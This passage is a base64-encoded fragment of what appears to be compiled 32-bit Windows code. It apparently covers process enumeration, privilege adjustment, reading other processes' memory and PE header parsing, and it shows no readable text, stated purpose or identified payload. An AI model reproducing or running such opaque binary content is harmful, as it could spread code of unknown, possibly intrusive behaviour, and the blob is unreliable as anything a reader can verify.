dvL//4PEGITAD4SbAAAA/7V4////i41s////A410/////7Vw////i300Uei08f//g8QMiEWDhMC4pCsEEHUFuKwrBBBQUWi0KwQQUf+1fP///41FDFFoWCsEEFFQUWjAKwQQ/zWIGgUQ6DDH//+DxAxQ6FYEAACDxAxQ6B7H//+DxAxQ6HeSAQBZUOgOx///g8QMUOgFx///WVmL8FbodAMAAOiym///60ZqAI1F3GoBUOjZMQAAg8QMUFFo0CsEEP81iBoFEOjSxv//g8QMUOj4AwAAWVmL8FboOAMAAOh2m///agEz/4113OheqP///7V4/////xV84QMQ611WjUXcagFQ6IYxAACDxAxQUWgELAQQ6xZWjUXcagFQ6G4xAACDxAxQUWgoLAQQ/zWIGgUQ6GfG//+DxAxQ6I0DAABZWYvwVujNAgAA6Aub//9qATP/jXXc6POn//+NXYToHgAAAGoBM/+NdQzo36f//4tN+IpFg19eM81b6CTGAQDJw1ZXagGNczwz/+i/p///agGNcyDotaf//19ew1WL7IHsVAEAAKHQBgUQM8WJRfxTVleNvbj+//+L8TLb6KwyAACEwHRli4XE/v//gH3SAYu9vP7//4udwP7//4mFsP7//41F2FAPlYW3/v///xW44QMQZoN92AkPlME5PnUoOV4EdSOLRgg7hbD+//90BIXAdRSKhbf+//84Rgx1CThODXUEswHrSjLb60ZqAI1F4GoBUOhZMAAAg8QMUFFoeCwEEP81iBoFEOhSxf//g8QMUOh4AgAAWVmL8FbouAEAAOj2mf//agEz/4114Ojepv//i038X16KwzPNW+gkxQEAycNVi+yD7BCD+AwPh/8AAAD/JIVLhwAQx0XwBQAAADPAiUX0iUX4ZolF/OngAAAAx0XwBQAAADPAiUX0iUX4ZsdF/AEA6cYAAAAzwMdF8AUAAACJRfhmiUX86aoAAADHRfAFAAAAx0X0AgAAADPAiUX4ZsdF/AAB6ZMAAADHRfAFAAAAx0X0AgAAADPA662DZfgAx0XwBQAAAMdF9AIAAABmx0X8AQHrZ8dF8AYAAADpav///zPAx0XwBgAAAIlF9Ousx0XwBgAAAOlo////M8DHRfAGAAAAiUX0iUX468EzwIlF+GaJRfzrFzPAiUX4ZsdF/AAB6wqDZfgAZsdF/AEBx0Xw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